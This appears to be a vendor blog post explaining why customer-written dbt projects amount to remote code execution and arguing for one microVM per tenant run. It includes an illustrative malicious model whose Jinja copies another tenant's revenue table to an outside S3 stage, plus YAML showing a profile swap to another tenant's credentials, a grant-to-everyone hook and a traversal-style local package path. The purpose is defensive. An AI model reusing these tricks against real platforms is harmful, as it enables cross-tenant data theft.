Customer-Authored dbt Runs, One microVM Per Tenant

If you're building an analytics platform where customers write their own dbt models, you have already shipped a remote code execution feature. You probably shipped it as "bring your own transformations," which sounds like a differentiator rather than a threat model, and the reason nobody flagged it is that a dbt project looks so harmless on disk: some `.sql` files, a `dbt_project.yml`, a `packages.yml`, maybe a `schema.yml` with tests. SQL and YAML. What could a YAML file possibly do to you.

Quite a lot, it turns out, because none of those files are what they appear to be. A dbt `.sql` model is a Jinja template that dbt evaluates on your worker before any SQL reaches the warehouse. `dbt_project.yml` carries hooks that fire on every run, and a `profile:` key that decides which credentials get used. `packages.yml` is a list of git URLs your build step will clone and trust. And sitting on that same worker, in `~/.dbt/profiles.yml`, is the file with everyone's warehouse connections in it.

I'm Ajay; I built PandaStack, a Firecracker microVM platform. This post is about what customer-authored dbt actually executes, why container-per-run on a shared worker fleet isn't the boundary people assume, and what changes when each tenant's `dbt build` gets its own hardware-isolated guest holding exactly one set of credentials. There's an honest limits section at the end, because a microVM fixes the worker and does nothing at all about what a customer's SQL does once it reaches the warehouse.

A dbt project is arbitrary code wearing a SQL costume

Start with what dbt-core is: a Python program that renders Jinja templates into SQL and ships that SQL to a warehouse through an adapter — `dbt-snowflake`, `dbt-postgres`, `dbt-bigquery`, `dbt-redshift`, `dbt-databricks`. Both halves of that sentence are execution surfaces. The Jinja runs on your machine; the SQL runs on the warehouse as whatever identity the adapter authenticated with. A customer who writes the project controls both.

• Jinja is not decoration. Every `{{ }}` and `{% %}` in a model or macro is evaluated by dbt during compile and run, on your worker. `run_query()` and `{% call statement() %}` hand a macro a live cursor on the active connection — a customer macro can issue SQL that appears in no model, no DAG, and no code review.
• `dbt run-operation` is a shell for the warehouse. It's the supported way to execute an arbitrary macro with no model attached, and most platforms expose it because backfills, grants, and `dbt_utils` maintenance macros all need it. A macro that only issues DDL is still a macro dbt will happily run.
• Hooks fire whether you asked or not. `on-run-start`, `on-run-end`, `pre-hook`, and `post-hook` in `dbt_project.yml` run customer SQL around every `dbt run`, `dbt test`, and `dbt build`. They are configuration, so they sail past anyone reviewing the models.
• `packages.yml` is `curl | trust` with a schema. `dbt deps` resolves from the dbt Hub, from arbitrary git URLs, or from local paths on the worker. `revision: main` is not a pin. Whatever those packages ship — macros, materializations, overridden `generate_schema_name` — becomes Jinja that executes in your process.
• Python models are real Python. `dbt-snowflake`, `dbt-bigquery`, and `dbt-databricks` support `.py` models, which dbt submits to the warehouse's own Python runtime — Snowpark, Dataproc/PySpark, Databricks clusters. That's unrestricted Python with network access, running as the profile's identity. It doesn't execute on your worker, which moves the blast radius rather than shrinking it.
• And then everything around dbt. If your build step honours a `requirements.txt`, a pinned `dbt-core` version, a custom adapter, a `Makefile`, or a `profiles.yml` template from the customer's repo, you're running `pip install` on customer input, and `pip install` runs `setup.py` as your worker's user. That one is plain old host code execution with no Jinja involved.

In fairness to dbt: its Jinja environment is deliberately restricted. You can't `import`, you can't `open()`, and the `modules` namespace is a short allowlist (`datetime`, `pytz`, `re`, `itertools`). That's a genuine mitigation and it's why "customer dbt project" is not quite as bad as "customer Python script." But the restriction protects the wrong asset. The damage in a data platform doesn't come from Python on a worker you can rebuild in seconds. It comes from SQL executing against a connection that can see more than that customer should.

-- models/marts/quarterly_summary.sql
--
-- Looks like a model. Ships as a model. In a code review it is 400 lines
-- of legitimate revenue logic with these fourteen lines somewhere in the
-- middle, and dbt evaluates all of it on YOUR worker, on YOUR connection,
-- before a single row of the model is materialized.

{% if execute %}

  {% set who = run_query("select current_user(), current_role()") %}
  {% do log("hello from " ~ who.columns[0].values(), info=True) %}

  {# Whatever the active profile can reach, this macro can reach. If the
     service role was granted broadly "so dbt just works", that's the
     whole account. #}
  {% do run_query(
      "create or replace stage tmp_export
         url='s3://somewhere-else/'
         credentials=(aws_key_id='...' aws_secret_key='...')"
  ) %}
  {% do run_query(
      "copy into @tmp_export from analytics.other_tenant.revenue"
  ) %}

{% endif %}

select 1 as id  -- the model itself compiles clean and the run goes green

The credential problem: profiles.yml is a shared secret

Here is the arrangement almost every early data platform lands on, because it's the arrangement that works on day one. A pool of dbt workers. Each worker has `~/.dbt/profiles.yml` containing an output for every tenant, or a templated profile the scheduler fills in per job. Jobs land on whichever worker is free. Clean, cheap, and it makes `dbt build --target acme_prod` a one-line invocation.

It also means the file that decides which warehouse a run touches lives on the worker, and the file that decides which profile to use — `dbt_project.yml`, with its `profile:` key — lives in the customer's repo. dbt resolves the profile name from the project. A one-line diff in a file nobody thinks of as security-relevant is a request for someone else's connection, and it will be honoured, because that's exactly what the `profile:` key is for.

# --- customer repo: dbt_project.yml -----------------------------------
name: acme_analytics
profile: acme_prod        # <-- the customer picks which profile to use.
version: "1.0.0"          #     Try `profile: bravo_prod` and see what
                          #     the worker's profiles.yml has to offer.
on-run-start:
  - "{{ grant_select_to_everyone() }}"   # config, not code. Runs anyway.

# --- customer repo: packages.yml --------------------------------------
packages:
  - package: dbt-labs/dbt_utils
    version: 1.3.0                       # fine, pinned, from the Hub
  - git: "https://github.com/some-consultancy/shared-macros.git"
    revision: main                       # "pinned" to whatever is there
                                         # at the moment dbt deps runs
  - local: ../../../etc                  # dbt deps will read local paths

# --- your worker: ~/.dbt/profiles.yml ---------------------------------
# Every tenant, one file, one host, resolved by a name the customer chose.
acme_prod:
  target: prod
  outputs:
    prod:
      type: snowflake
      account: acme-corp
      user: DBT_SVC
      role: TRANSFORMER      # scoped to acme? or granted broadly in 2023
      warehouse: TRANSFORM_WH
      database: ANALYTICS
      schema: DBT_PROD
      threads: 8
bravo_prod:
  target: prod
  outputs:
    prod:
      type: snowflake
      account: bravo-inc     # a different customer, same YAML file,
      user: DBT_SVC          # same worker, one profile: line away

Even if you sanitize the `profile:` key — and you should, immediately, before you finish this post — the worker still holds credentials it doesn't need for the job it's running. Every run is one file read away from every other tenant's connection. `least privilege` on a shared worker is aspirational by construction: the worker needs the union of everything, because it might be asked to run anything.

"But we run each job in a container"

The natural next move is a container per run: fresh filesystem, fresh process tree, secrets injected as env vars per job, gone when the job ends. This is a real improvement over the shared-worker-process version and I don't want to be sniffy about it. It's just not the boundary the phrase "isolated per tenant" implies, for two reasons that show up specifically in dbt workloads.

The first is the usual one: containers are namespaces, cgroups, and seccomp filters over a single shared host kernel. Every container on that node issues syscalls into the same kernel, and the whole model holds only as long as that kernel has no reachable bugs in the syscalls you left open. For most workloads that's an acceptable bet. For a workload whose entire premise is "strangers upload code that we execute," it's a bet you're making on every run, forever. The longer version of this argument is in /blog/why-docker-is-not-a-sandbox.

The second is specific to how data teams make dbt fast, and it's the one I see bite people. `dbt deps` and `pip install` are slow enough that everyone caches them, and the cache is almost always a volume mounted into every job on the node — a shared pip wheel cache, a shared `dbt_packages/` directory, a shared `~/.cache`. That mount is a writable channel between tenants that survives the container. Poison a wheel or a cached macro package in tenant B's run, wait for tenant A's run to land on the same node, and the container boundary you were relying on is irrelevant, because the payload was invited in through the front door. Caches are shared state, and shared state between untrusted parties is the thing you were trying to eliminate.

The shape: one guest per tenant run

The structural fix is to stop running customer dbt in a process that knows about other customers. Your scheduler stays trusted — it holds the master credentials, decides what runs, and never evaluates a line of customer Jinja. For each run it creates a Firecracker microVM: its own guest kernel, its own memory, its own disk, its own network namespace. Three things define the guest, and all three are things you control rather than things the customer's repo influences.

One tenant's credentials, written in at start

The scheduler mints credentials for this run — ideally short-lived, ideally a warehouse role scoped to that tenant's databases — and writes exactly one profile into the guest's `~/.dbt/profiles.yml`. Not a template the repo fills in. Not a file with other outputs in it. One profile, one target, generated by you. Then it overwrites the `profile:` key in the customer's `dbt_project.yml` to match, so the name the repo asks for is irrelevant. A macro that goes looking for another tenant's connection finds a YAML file with one entry in it, and the entry is its own.

Egress: package registries, then the warehouse, then nothing

Because the guest has its own network namespace, egress is a host-side rule the guest cannot argue with. Run it in two phases. During `dbt deps` and any dependency install, allow the package sources you're willing to trust — the dbt Hub, `pypi.org`, specific git hosts — and nothing else. Then, before `dbt build`, drop egress to the warehouse endpoint alone. Now the compile phase can't phone home, and the run phase can't reach anything except the database it's supposed to be transforming. /blog/controlling-network-egress-untrusted-code covers the mechanics of doing this without hand-maintaining IP lists.

Artifacts out as data, then destroy the VM

dbt writes everything you need into `target/`: `manifest.json` (the compiled DAG), `run_results.json` (per-node status, timing, and adapter response), `catalog.json` if you ran `dbt docs generate`, plus `logs/dbt.log`. Read those out of the guest as bytes, parse them on your side, and kill the VM. The rule that matters is that artifacts crossing the boundary are data, not code — parse the JSON, render the docs from it, and never execute something the guest produced. Every foothold the run established dies with the VM, because there is no next run on that machine.

from pandastack import Sandbox
import json


def run_dbt(tenant: str, repo_url: str, git_sha: str, profile_yaml: str) -> dict:
    """One tenant's dbt build, in a guest that holds one tenant's creds."""
    sbx = Sandbox.create(
        template="dbt-snowflake",          # custom template baked from
        #                                  `base`: dbt-core + adapter warm
        ttl_seconds=3600,                  # a runaway build can't run all night
        metadata={"tenant": tenant, "kind": "dbt-run", "sha": git_sha},
    )
    try:
        # 1. EXACTLY ONE profile. Generated by us, short-lived, scoped to
        #    this tenant's databases. Nothing else is in this file.
        sbx.filesystem.write("/root/.dbt/profiles.yml", profile_yaml)

        # 2. Clone the customer's project at a pinned SHA. Untrusted from
        #    here down -- and the only thing in this VM worth stealing.
        clone = sbx.exec(
            f"git clone --depth 1 {repo_url} /work/proj "
            f"&& git -C /work/proj checkout {git_sha}",
            timeout_seconds=300,
        )
        if clone.exit_code != 0:
            return {"ok": False, "stage": "clone", "log": clone.stderr[-4000:]}

        # 3. Pin the profile name so dbt_project.yml's `profile:` key can't
        #    ask for someone else's connection. (It would find nothing --
        #    belt and braces.)
        sbx.exec(
            "sed -i 's/^profile:.*/profile: tenant/' /work/proj/dbt_project.yml"
        )

        # 4. deps phase: package-registry egress only.
        deps = sbx.exec("cd /work/proj && dbt deps", timeout_seconds=600)

        # 5. build phase: warehouse-only egress, applied host-side.
        build = sbx.exec(
            "cd /work/proj && dbt build --target tenant --no-use-colors",
            timeout_seconds=3000,
        )

        # 6. Artifacts come back as DATA. We parse them; we never run them.
        results = json.loads(
            sbx.filesystem.read("/work/proj/target/run_results.json")
        )
        manifest = json.loads(
            sbx.filesystem.read("/work/proj/target/manifest.json")
        )
        return {
            "ok": build.exit_code == 0,
            "deps_ok": deps.exit_code == 0,
            "nodes": {r["unique_id"]: r["status"] for r in results["results"]},
            "models": len(manifest["nodes"]),
            "log": build.stdout[-8000:],
        }
    finally:
        sbx.kill()   # guest, disk, creds, and any foothold: gone

The practical cost, and how to make it go away

Every per-run isolation scheme runs into the same objection, and for dbt the objection is real: `dbt deps` is not free, and a cold `pip install dbt-snowflake` is considerably less free. If each run starts from a bare machine and installs an adapter and half a dozen packages before it compiles anything, you've traded a security problem for a latency problem, and your customers will notice the latency long before they notice the security.

So don't start from bare. Bake it. A template snapshot is built once with the Python runtime, the pinned `dbt-core`, the adapter for that warehouse, and the packages that appear in nearly every customer's `packages.yml` — `dbt_utils`, `codegen`, `dbt_expectations`, `audit_helper`, whatever your fleet actually resolves — already installed and already warm. Creating a guest from that snapshot is a restore, not a boot. On PandaStack the restore step itself is around 49ms and end-to-end create is p50 179ms, p99 203ms; the ~3s cold boot happens once, at bake time, and never again. The isolation cost is a fifth of a second before dbt starts parsing, and `dbt deps` on a project whose packages are already present is a no-op.

Keep a per-adapter template — one for `dbt-snowflake`, one for `dbt-postgres`, one for `dbt-bigquery` — rather than one fat image with all of them, since adapter dependency trees conflict more often than you'd like. And keep the fallback honest: if a customer pins a package version your snapshot doesn't have, `dbt deps` runs for real during the deps phase and installs it into the guest. That's a slower run, not a broken one, and it stays inside that guest.

Isolation models, compared honestly

• Shared worker process — boundary: none; every tenant's Jinja compiles in a process holding `~/.dbt/profiles.yml` for the whole fleet. Credential blast radius: every tenant's warehouse, reachable by reading one file or changing one `profile:` line. Caveat: it's fast, cheap, and works perfectly right up until the first customer who is curious.
• Container per run — boundary: namespaces and cgroups over one shared host kernel; a kernel bug is a host compromise. Credential blast radius: this run's env vars, plus anything reachable through the shared mounts — and the pip/`dbt_packages` cache volume everyone mounts for speed is a writable channel between tenants. Caveat: genuinely better than a shared process, and the cache mount quietly gives most of it back.
• Kubernetes Job per run — boundary: still the node's kernel; a Pod is containers with better lifecycle management, not a stronger wall. Credential blast radius: the mounted Secret, plus the ServiceAccount token at `/var/run/secrets/...` and whatever the node's IMDS will hand out if you haven't locked it down. Caveat: excellent scheduling and cleanup, and it tempts you into node-local PVCs for cache that reintroduce cross-tenant state.
• MicroVM per run — boundary: a separate guest kernel behind hardware virtualization; escaping means breaking the hypervisor, not finding a namespace gap. Credential blast radius: one profile, for one tenant, short-lived, in a machine that stops existing when the run ends. Caveat: you own capacity and scheduling, warm caches must be baked into the snapshot rather than mounted, and it does nothing about what the SQL does inside the warehouse.
• Warehouse-native execution (Snowflake tasks, BigQuery scheduled queries, dbt Cloud) — boundary: the warehouse's own tenancy model; no worker of yours executes anything. Credential blast radius: whatever the role you configured can see — which is the same grant problem, just now the only problem. Caveat: you inherit the vendor's execution semantics and cost model, you lose control of the compile step and its Python surface, and the customer's Jinja is still resolving against a role you granted.

Honest limits

A microVM contains the worker. It does not contain the warehouse, and pretending otherwise is how people build a beautifully isolated fleet that still leaks data. Once a compiled statement reaches Snowflake or BigQuery, the boundary is entirely the grant on the role you handed the run. If that role can `select` across tenant schemas, or create external stages, or read from a bucket, then a `run-operation` macro can do all of that from inside your perfectly isolated guest and nothing on your network sees it happen. Per-run credentials scoped to a per-tenant role, with external stage creation revoked, statement timeouts set, and a resource monitor attached, are not optional extras — they're the other half of the design.

The rest of the trade-offs are ordinary engineering. You take on capacity planning that a shared worker pool was handling for you, and dbt is memory-hungry on large manifests, so guest RAM becomes a real sizing decision rather than an afterthought. You lose free warm caches; whatever isn't in the snapshot gets installed per run. Egress allowlists to cloud warehouses are annoying to express as IP ranges and want PrivateLink or a hostname-aware proxy to be maintainable. Debugging is a step removed — you can't SSH into the worker and poke around, because the worker was destroyed the moment the run finished, which is simultaneously the feature and the inconvenience. And none of this stops a customer's model from dropping a customer's own table, which is a support ticket, not a breach.

What you get in exchange is a specific, checkable property: the machine that evaluated a customer's Jinja held one set of credentials, could reach one endpoint, and no longer exists. Everything a determined macro found in that environment belonged to the person who wrote it. At roughly a fifth of a second per create, that's an unusually cheap thing to be able to say to a security questionnaire — and a much better answer than "we run each job in a container."